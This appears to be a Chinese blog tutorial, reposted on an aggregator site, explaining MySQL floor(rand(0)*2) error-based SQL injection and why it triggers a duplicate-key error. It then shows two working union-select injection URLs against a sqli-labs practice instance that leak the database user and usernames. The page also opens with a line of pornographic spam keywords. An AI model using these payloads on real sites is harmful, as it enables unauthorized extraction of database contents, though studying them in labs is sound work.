国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

這篇具有很好參考價(jià)值的文章主要介紹了Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

目錄

先各自說(shuō)明這幾個(gè)

先說(shuō)count 統(tǒng)計(jì)個(gè)數(shù)

再說(shuō)floor 向下取整?

rand(),就是一個(gè)0到1隨機(jī)數(shù)

偽隨機(jī)數(shù)

group by 就是用列來(lái)進(jìn)行分組

遇到一個(gè)問題

開始

產(chǎn)生1和0兩個(gè)隨機(jī)數(shù)

綜合使用

其實(shí)就是下面這樣

報(bào)錯(cuò)分析

四、總結(jié)

個(gè)人理解:

實(shí)戰(zhàn):

?代碼

代碼

?效果圖


其實(shí)floor報(bào)錯(cuò)不是單純的使用floor他需要配合group by ,rand,count來(lái)完成的

先各自說(shuō)明這幾個(gè)

先說(shuō)count 統(tǒng)計(jì)個(gè)數(shù)

mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
|        8 |
+----------+
1 row in set (0.00 sec)

mysql>

再說(shuō)floor 向下取整?

在擴(kuò)展一下向上取整為ceil()

mysql> select floor(1.9);
+------------+
| floor(1.9) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql>

rand(),就是一個(gè)0到1隨機(jī)數(shù)

mysql> select rand();
+-------------------+
| rand()            |
+-------------------+
| 0.541523484086174 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.6968036170087788 |
+--------------------+
1 row in set (0.00 sec)

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.8594476635190171 |
+--------------------+
1 row in set (0.00 sec)

mysql>

偽隨機(jī)數(shù)

但是當(dāng)他給里面一個(gè)種子以后他就變成了偽隨機(jī)數(shù)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

group by 就是用列來(lái)進(jìn)行分組

遇到一個(gè)問題

ERROR 1055 (42000): Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'security.users.id' which
is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by

解決請(qǐng)移步https://mp.csdn.net/mp_blog/creation/editor/129956548

mysql> select * from users group by id;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql> select * from users group by username;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql> select * from users group by 2;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql>

開始

那么咱們先用rand(0)查一下

mysql> select rand(0) from users;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
| 0.33109208227236947 |
|  0.7392180764481594 |
|  0.7028141661573334 |
|  0.2964166321758336 |
|  0.3736406931408129 |
+---------------------+
8 rows in set (0.00 sec)

mysql>

產(chǎn)生1和0兩個(gè)隨機(jī)數(shù)

mysql> select rand(0)*2 from users;
+--------------------+
| rand(0)*2          |
+--------------------+
| 0.3104408553898715 |
|  1.241763483026776 |
| 1.2774949104315554 |
| 0.6621841645447389 |
| 1.4784361528963188 |
| 1.4056283323146668 |
| 0.5928332643516672 |
| 0.7472813862816258 |
+--------------------+
8 rows in set (0.00 sec)

mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
+------------------+
8 rows in set (0.00 sec)

mysql>

其實(shí)我也不知道我在干嘛

綜合使用

mysql> select count(*),floor(rand(0) * 2) x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0) * 2) x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql>

然后他就說(shuō)1這個(gè)主鍵重復(fù)啦

其實(shí)就是下面這樣

沒進(jìn)行統(tǒng)計(jì)

mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
+------------------+
8 rows in set (0.00 sec)

mysql> select floor(rand(0)*2) as x from users group by x;
+---+
| x |
+---+
| 0 |
| 1 |
+---+
2 rows in set (0.00 sec)

mysql>

當(dāng)進(jìn)行統(tǒng)計(jì)的時(shí)候

他就會(huì)報(bào)主鍵1重復(fù)

這是為什么呢???

這邊我把我們周老師的文檔粘過(guò)來(lái)讓大家看

報(bào)錯(cuò)分析

這個(gè)整合然后計(jì)數(shù)的過(guò)程中,中間發(fā)生了什么我們是必須要明白的。 首先mysql遇到該語(yǔ)句時(shí)會(huì)建立一個(gè)虛擬表。該虛擬表有兩個(gè)字段,一個(gè)是分組的 key ,一個(gè)是計(jì)數(shù)值 count()。也就對(duì)應(yīng)于實(shí)驗(yàn)中的 user_name 和 count()。 然后在查詢數(shù)據(jù)的時(shí)候,首先查看該虛擬表中是否存在該分組,如果存在那么計(jì)數(shù)值加1,不存在則新建該分組。

然后mysql官方有給過(guò)提示,就是查詢的時(shí)候如果使用rand()的話,該值會(huì)被計(jì)算多次,那這個(gè)"被計(jì)算多次"到底是什么意思,就是在使用group by的時(shí)候,floor(rand(0)2)會(huì)被執(zhí)行一次,如果虛表不存在記錄,插入虛表的時(shí)候會(huì)再被執(zhí)行一次,我們來(lái)看下floor(rand(0)2)報(bào)錯(cuò)的過(guò)程就知道了,從上面的函數(shù)使用中可以看到在一次多記錄的查詢過(guò)程中floor(rand(0)2)的值是定性的,為011011 (這個(gè)順序很重要),報(bào)錯(cuò)實(shí)際上就是floor(rand(0)2)被計(jì)算多次導(dǎo)致的,我們還原一下具體的查詢過(guò)程:

(1)查詢前默認(rèn)會(huì)建立空虛擬表如下圖:

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

(2)取第一條記錄,執(zhí)行floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為0(第一次計(jì)算),

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

(3)查詢虛擬表,發(fā)現(xiàn)0的鍵值不存在,則插入新的鍵值的時(shí)候floor(rand(0)*2)會(huì)被再計(jì)算一次,結(jié)果為1(第二次計(jì)算),插入虛表,這時(shí)第一條記錄查詢完畢,如下圖:

0 1 1 0 1 1 0

0 1 1

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

(4)查詢第二條記錄,再次計(jì)算floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為1(第三次計(jì)算)

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

(5)查詢虛表,發(fā)現(xiàn)1的鍵值存在,所以floor(rand(0)2)不會(huì)被計(jì)算第二次,直接count()加1,第二條記錄查詢完畢,結(jié)果如下:

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

(6)查詢第三條記錄,再次計(jì)算floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為0(第4次計(jì)算)

0 1 1 0

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

(7)查詢虛表,發(fā)現(xiàn)鍵值沒有0,則數(shù)據(jù)庫(kù)嘗試插入一條新的數(shù)據(jù),在插入數(shù)據(jù)時(shí)floor(rand(0)*2)被再次計(jì)算,作為虛表的主鍵,其值為1(第5次計(jì)算),

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

然而1這個(gè)主鍵已經(jīng)存在于虛擬表中,而新計(jì)算的值也為1(主鍵鍵值必須唯一),所以插入的時(shí)候就直接報(bào)錯(cuò)了。

0 1 1 0 1

四、總結(jié)

整個(gè)查詢過(guò)程floor(rand(0)*2)被計(jì)算了5次,查詢?cè)瓟?shù)據(jù)表3次,所以這就是為什么數(shù)據(jù)表中需要最少3條數(shù)據(jù),使用該語(yǔ)句才會(huì)報(bào)錯(cuò)的原因。

另外,要注意加入隨機(jī)數(shù)種子的問題,如果沒加入隨機(jī)數(shù)種子或者加入其他的數(shù),那么floor(rand()2)產(chǎn)生的序列是不可測(cè)的,這樣可能會(huì)出現(xiàn)正常插入的情況。最重要的是前面幾條記錄查詢后不能讓虛表存在0,1鍵值,如果存在了,那無(wú)論多少條記錄,也都沒辦法報(bào)錯(cuò),因?yàn)閒loor(rand()2)不會(huì)再被計(jì)算做為虛表的鍵值,這也就是為什么不加隨機(jī)因子有時(shí)候會(huì)報(bào)錯(cuò),有時(shí)候不會(huì)報(bào)錯(cuò)的原因。

比如下面用1作為隨機(jī)數(shù)種子,就不會(huì)產(chǎn)生報(bào)錯(cuò):

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

個(gè)人理解:

我感覺就是第一次計(jì)算?floor(rand(0)*2)為0,然后查表發(fā)現(xiàn)沒0這個(gè)key,然后在計(jì)算一次進(jìn)行插入

然后第三次計(jì)算floor(rand(0)*2)為1,然后發(fā)現(xiàn)有這個(gè)key,不進(jìn)行插入,然后count 進(jìn)行加1。

然后第四次計(jì)算floor(rand(0)*2)為0,然后查表發(fā)現(xiàn)沒0這個(gè)key,然后在進(jìn)行計(jì)算一次為1啦,打算插入,但是key已經(jīng)有1啦,所以就會(huì)產(chǎn)生1這個(gè)主鍵重復(fù)報(bào)錯(cuò)。

注意:最少需要三條數(shù)據(jù)才能報(bào)錯(cuò),你讀完上面你肯定會(huì)懂得

實(shí)戰(zhàn):

?代碼

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,3%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a%20--+

這里的concat是用來(lái)把floor(rand(0)*2)和local@host連接起來(lái),要不然只會(huì)顯示1主鍵重復(fù)

然后才會(huì)爆出local@host1主鍵重復(fù)

?a是別名,下面解釋啦

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

最后那個(gè)a是別名,如果你沒有就會(huì)出現(xiàn)下圖

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解

?然后再一點(diǎn)一點(diǎn)查

代碼

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,3%20from%20(select%20count(*),concat((select%20username%20from%20users%20limit%201,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a%20--+

?效果圖

Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-401386.html

到了這里,關(guān)于Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 5. MySQL - JDBC & SQL 注入 &博客系統(tǒng)(萬(wàn)字詳解)

    5. MySQL - JDBC & SQL 注入 &博客系統(tǒng)(萬(wàn)字詳解)

    目錄 1. 介紹 2. 使用 JDBC 連接數(shù)據(jù)庫(kù) 2.1 如何使用 JDBC 連接數(shù)據(jù)庫(kù) 2.2?導(dǎo)入的各個(gè)類 2.3 DataSource 對(duì)象的創(chuàng)建 2.4 從 DataSource 對(duì)象中得到 Connection 對(duì)象 2.5 創(chuàng)建 Statement 對(duì)象 2.6 從 ResultSet 中遍歷每行結(jié)果,從每行中獲取每列的值 2.7 代碼匯總 3. PrepareStatement 詳解 3.1 動(dòng)態(tài) SQL 執(zhí)行

    2024年02月16日
    瀏覽(20)
  • 虛擬機(jī)和docker不兼容報(bào)錯(cuò),各自的解決辦法

    虛擬機(jī)和docker不兼容報(bào)錯(cuò),各自的解決辦法

    ? 原因分析: 問題出在 Hyper-V 已禁用或 Hypervisor 代理未運(yùn)行。 ( 如果 Hyper-V 功能已啟用但不起作用 ) hyper-v 組件開啟后,需確保其守護(hù)進(jìn)程自動(dòng)運(yùn)行(我問題出在這里,守護(hù)進(jìn)程沒有運(yùn)行),可通過(guò) 管理員身份 命令啟動(dòng): 打開文件夾, C:WindowsSystem32 ;查找到 cmd.exe ,右鍵

    2024年02月09日
    瀏覽(19)
  • MySQL安全性:用戶認(rèn)證、防范SQL注入和SSL/TLS配置詳解

    MySQL作為廣泛使用的關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng),安全性至關(guān)重要。在本篇技術(shù)博客中,我們將深入探討MySQL的用戶認(rèn)證方式、防范SQL注入攻擊的方法以及SSL/TLS加密的配置。 MySQL支持多種用戶認(rèn)證方式,其中兩種常見方式是caching_sha2_password和mysql_native_password。 1.1 caching_sha2_passwor

    2024年02月02日
    瀏覽(23)
  • 【Linux】各目錄說(shuō)明

    【Linux】各目錄說(shuō)明

    【常見目錄說(shuō)明】 目錄 /bin 存放二進(jìn)制可執(zhí)行文件( ls ,cat,mkdir等), 常用命令 一般都在這里。 / etc 存放 系統(tǒng)管理和配置 文件 / home 存放所有用戶文件的根目錄 ,是用戶主目錄的基點(diǎn),比如用戶user的主目錄就是/home/user,可以用~user表示 / usr 用于存放系統(tǒng)應(yīng)用程序,比較重要

    2024年01月17日
    瀏覽(24)
  • linux 各個(gè)目錄說(shuō)明

    linux 各個(gè)目錄說(shuō)明

    Linux 目錄結(jié)構(gòu) home文件夾測(cè)試

    2024年02月07日
    瀏覽(18)
  • elasticsearch目錄及配置參數(shù)說(shuō)明

    存放ES啟動(dòng)、關(guān)閉等腳本文件 存放執(zhí)行文件,例如啟動(dòng)腳本、密鑰工具等 ES的配置文件所在的目錄,其中有三個(gè)主要的配置文件 elasticsearch.yml是用于ES的最主要的配置文件 jvm.options用于配置ES JVM設(shè)置 log4j2.properties用于配置ES 日志記錄的屬性 ES自帶的JDK目錄 默認(rèn)的索引數(shù)據(jù)存儲(chǔ)

    2024年02月16日
    瀏覽(54)
  • 2023 華為OD機(jī)試備考攻略 以及題庫(kù)目錄分值說(shuō)明 考點(diǎn)說(shuō)明

    2023年11月份,華為官方已經(jīng)將 華為OD機(jī)考:OD統(tǒng)一考試(A卷 / B卷)切換到 OD統(tǒng)一考試(C卷)和 OD統(tǒng)一考試(D卷) 。 目前在考C卷,經(jīng)過(guò)兩個(gè)月的收集整理, C卷真題已基本整理完畢 抽到原題的概率為2/3到3/3, 也就是最少抽到兩道原題。 請(qǐng)注意:大家刷完C卷真題,最好要把

    2023年04月16日
    瀏覽(60)
  • 30天精通Nodejs--目錄與說(shuō)明

    說(shuō)明 本系列博客主要針對(duì)nodejs零基礎(chǔ)的小伙伴,涵蓋了Node.js從基礎(chǔ)到高級(jí)的各個(gè)方面。 前置條件,有js的基礎(chǔ),了解css和html。 nodejs版本20.8.1。 目錄 基礎(chǔ)知識(shí) 第1天:基礎(chǔ)介紹 第2天:模塊系統(tǒng)與npm 第3天:異步編程 第4天:搭建一個(gè)web服務(wù)器 常用模塊 第5天:Events 第6天:

    2024年02月08日
    瀏覽(16)
  • 請(qǐng)列舉出Tomcat安裝目錄下的子目錄,并對(duì)其進(jìn)行簡(jiǎn)要說(shuō)明

    Tomcat 安裝目錄下的子目錄包括: bin:存放 Tomcat 的啟動(dòng)、停止腳本以及其他工具。 conf:存放 Tomcat 的配置文件,例如 server.xml、web.xml 等。 lib:存放 Tomcat 的核心 jar 包以及其他庫(kù)文件。 logs:存放 Tomcat 的日志文件。 temp:存放 Tomcat 運(yùn)行過(guò)程中生成的臨時(shí)文件。 webapps:存放

    2024年02月08日
    瀏覽(33)
  • 注入工具SQLMAP教程:Tamper編寫;指紋修改;高權(quán)限操作;目錄架構(gòu)等

    注入工具SQLMAP教程:Tamper編寫;指紋修改;高權(quán)限操作;目錄架構(gòu)等

    1、SQLMAP-常規(guī)猜解字典配置 2、SQLMAP-權(quán)限操作文件命令 3、SQLMAP-Tamper使用開發(fā) 4、SQLMAP-調(diào)試指紋風(fēng)險(xiǎn)等級(jí) https://www.cnblogs.com/bmjoker/p/9326258.html 測(cè)試:http://vulnweb.com/ –current-db –tables -D “” –columns -T “” -D “” –dump -C “” -C “” -T “” 1.IIS, ASP, Microsoft SQL Server(ACCESS數(shù)據(jù)

    2024年02月22日
    瀏覽(22)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包